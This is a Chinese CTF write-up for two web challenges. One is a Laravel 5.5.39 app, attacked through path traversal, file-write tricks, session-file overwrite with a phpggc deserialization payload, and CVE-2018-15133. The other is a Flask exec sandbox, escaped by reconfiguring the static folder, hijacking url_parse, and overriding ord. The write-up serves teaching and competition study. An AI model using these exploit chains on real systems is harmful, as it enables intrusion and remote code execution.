比赛的时候忙着最优化,做了个CloudDisk就溜了,不过打了也是丢人…

Web

BestLanguage

给了一个laravel,版本为5.5.39

  • web.php中的路由
1
2
3
4
5
6
7
Route::get('/',"IndexController@init");
Route::post('/rm',"IndexController@rm");
Route::get('/tmp/{filename}', function ($filename) {
readfile("/var/tmp/".$filename);
})->where('filename', '(.*)');
Route::post('/upload',"IndexController@upload");
Route::get('/move/log/{filename}', 'IndexController@moveLog')->where('filename', '(.*)');
  • IndexController.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

namespace App\Http\Controllers;

class IndexController extends Controller
{

public function init(){
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1" && strpos($_SERVER["REMOTE_ADDR"],"192.168.") !== 0 && strpos($_SERVER["REMOTE_ADDR"],"10.") !== 0 ) {
die("admin only");
}
if(!file_exists("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]))){
mkdir("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]));
}
}
public function rm(){
if(strpos($_POST["filename"], '../') !== false) die("???");
if(file_exists("/var/".$_POST["filename"])){
if(is_dir("/var/".$_POST["filename"])){
rmdir("/var/".$_POST["filename"]);
echo "rmdir";
}
else{
unlink("/var/".$_POST["filename"]);
echo "unlink";
}
}
}
public function upload()
{

if(strpos($_POST["filename"], '../') !== false) die("???");
file_put_contents("/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"],base64_decode($_POST["content"]));
echo "/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"];
}

public function moveLog($filename)
{

$data =date("Y-m-d");
if(!file_exists(storage_path("logs")."/".$data)){
mkdir(storage_path("logs")."/".$data);
}
$opts = array(
'http'=>array(
'method'=>"GET",
'timeout'=>1,//单位秒
)
);

$content = file_get_contents("http://127.0.0.1/tmp/".md5('127.0.0.1')."/".$filename,false,stream_context_create($opts));
file_put_contents(storage_path("logs")."/".$data."/".$filename,$content);
echo storage_path("logs")."/".$data."/".$filename;
}
}

预期

nginx特性

/tmp/{filename}路由看起来可以直接读文件,/tmp/../../flag试试

这实际上是nginx的一个特性,nginx会将url中的../转化为绝对路径,并判断其是否超过了url中的根目录,超过了则返回http 400

借用下官方writeup的图

trick1 写文件

继续看其他路由,可以发现:

  • upload()会将文件写到"/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/"下,但md5($_SERVER["REMOTE_ADDR"])需要在init()中创建
  • 然而init()中会验证ip是否为内网ip…看起来需要一个ssrf?
  • 唯一跟ssrf沾点边的就是moveLog()中的
1
$content = file_get_contents("http://127.0.0.1/tmp/".md5('127.0.0.1')."/".$filename,false,stream_context_create($opts));

可这真的能够访问到/吗…

  • 如果不用upload()去写文件的话,那moveLog()也就无法使用了

实际上这里需要用一个php文件操作的trick,文件名xxx/.时会认为是xxx

因此访问filename=.即可在/var/tmp/下写文件,文件名为md5($_SERVER["REMOTE_ADDR"])

这个trick的原理和xxx/../是一样的:

  • php读取、写入文件,都会调用php_stream_open_wrapper_ex来打开流
    • php_stream_open_wrapper_ex最后会使用tsrm_realpath函数来将filename给标准化成一个绝对路径。
  • 而判断文件存在、重命名、删除文件等操作则无需打开文件流,无法使用这个trick

trick2 移动文件

1
2
$content = file_get_contents("http://127.0.0.1/tmp/".md5('127.0.0.1')."/".$filename,false,stream_context_create($opts));
file_put_contents(storage_path("logs")."/".$data."/".$filename,$content);

写入文件后自然会想到用moveLog()移动文件,但此时文件名是md5($_SERVER["REMOTE_ADDR"]),可以利用url和路径的差异,使用?#截断url,比如

1
../ee3973488c12ec9231af25c6e84309d3?xxx/../test

会将/var/tmp/ee3973488c12ec9231af25c6e84309d3的内容写到storage_path("logs")/test

还是因为nginx特性的原因,只能将文件写到storage_path("logs")

laravel session反序列化

storage_path("logs")/framework/sessions/下存储了laravel的session文件,如果能覆盖的话可以通过session反序列化拿到flag

不过laravel不使用原生的php session,而是自己弄了一套,session文件名可以根据session id和app key得到固定值

为了防御session固定攻击,laravel每次访问session id都会变…但是session文件名不会变

题目给出了app key,本地搭建环境,远程使用和本地相同的session id即可保证session文件名相同

最后的步骤:

  • 本地搭建环境,记录此时的laravel_session和对应的session文件名
  • phpggc生成laravel 5.5.39的反序列化payload
1
php .\phpggc  -a Laravel/RCE2 system 'cat /flag'
  • laravel_session设置成本地值,将payload base64编码后写入/var/tmp/md5($_SERVER["REMOTE_ADDR"])

  • 覆盖session文件
1
/move/log/..%2Fee3973488c12ec9231af25c6e84309d3%3Fxxx%2F..%2F..%2Fframework%2Fsessions%2FXQJBTIU1E9D5imnmUmI1g9tVC4yWDKYYneRb3CUH
  • 注意这一步要把session改成别的或删掉,不然session文件会在请求处理后修改回去
  • XQJBTIU1E9D5imnmUmI1g9tVC4yWDKYYneRb3CUH为本地session文件名
  • 将session重新设成本地值,任意访问一个路由即可得到flag

非预期

CVE-2018-15133直接打

非预期2

http://phoebe233.cn/index.php/archives/53/#bestlanguage看到的

1
/index.php/tmp/../../flag

多加一个index.php就能绕过nginx的特性了…

pysandbox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, request

app = Flask(__name__)


@app.route('/', methods=["POST","GET"])
def security():
secret = request.form["cmd"]
for i in secret:
if not 42 <= ord(i) <= 122: return "error!"

exec(secret)
return "xXXxXXx"


if __name__ == '__main__':
app.run(host="0.0.0.0")

只允许ascii码42-122的字符,最大的问题就是()没了,无法调用函数

app.static_folder

第一种解法就是常规的flask ssti思路。既然无法调用函数,那就从flask的配置入手,将app.static_folder设为/

1
cmd=app.static_folder%3Dapp.root_path
1
/static/flag

函数劫持

思路是找到一个参数可控的函数,用xxx=eval将其劫持

可以添加一个路由显示导入的模块

1
2
3
4
5
6
7
@app.route('/info',methods=["POST","GET"])
def info():
modules = sys.modules
result = ''
for key,value in modules.items():
result = result + key + "<br>"
return result

官方wp找的是werkzeug.urls.url_parse

1
def url_parse(url, scheme=None, allow_fragments=True):

因为werkzeug不在当前模块的全局名称空间中,所以要用继承链去访问。用shrine的脚本找一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
def search(obj, max_depth):

visited_clss = []
visited_objs = []

def visit(obj, path='obj', depth=0):
yield path, obj

if depth == max_depth:
return

elif isinstance(obj, (int, float, bool, str, bytes)):
return

elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)

else:
if obj in visited_objs:
return
visited_objs.append(obj)

# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)

# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass

# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)

yield from visit(obj)

@app.route('/find',methods=["POST","GET"])
def find():
for path, obj in search(request,3):
if obj == 'werkzeug.urls':
return path

返回obj.environ['werkzeug.server.shutdown'].__globals__['uri_to_iri'].__module__,需要修改一下通过request.environ['werkzeug.server.shutdown'].__globals__['uri_to_iri'].__globals__['url_parse']访问到werkzeug.urls.url_parse

接着还需要bypass单引号,常见的request.args因为不是jinja2环境用不了,但可以用request的其他可控属性

之后就可以用url代码执行

lambda表达式劫持ord

http://phoebe233.cn/index.php/archives/53/#menu_index_3大佬的解法…

正常情况下lambda表达式是需要空格的,不能绕过过滤,比如

1
__builtins__.ord=lambda a:45

配合数组参数可以无空格

1
__builtins__.ord=lamdba*a:45

然后就可以为所欲为了-_-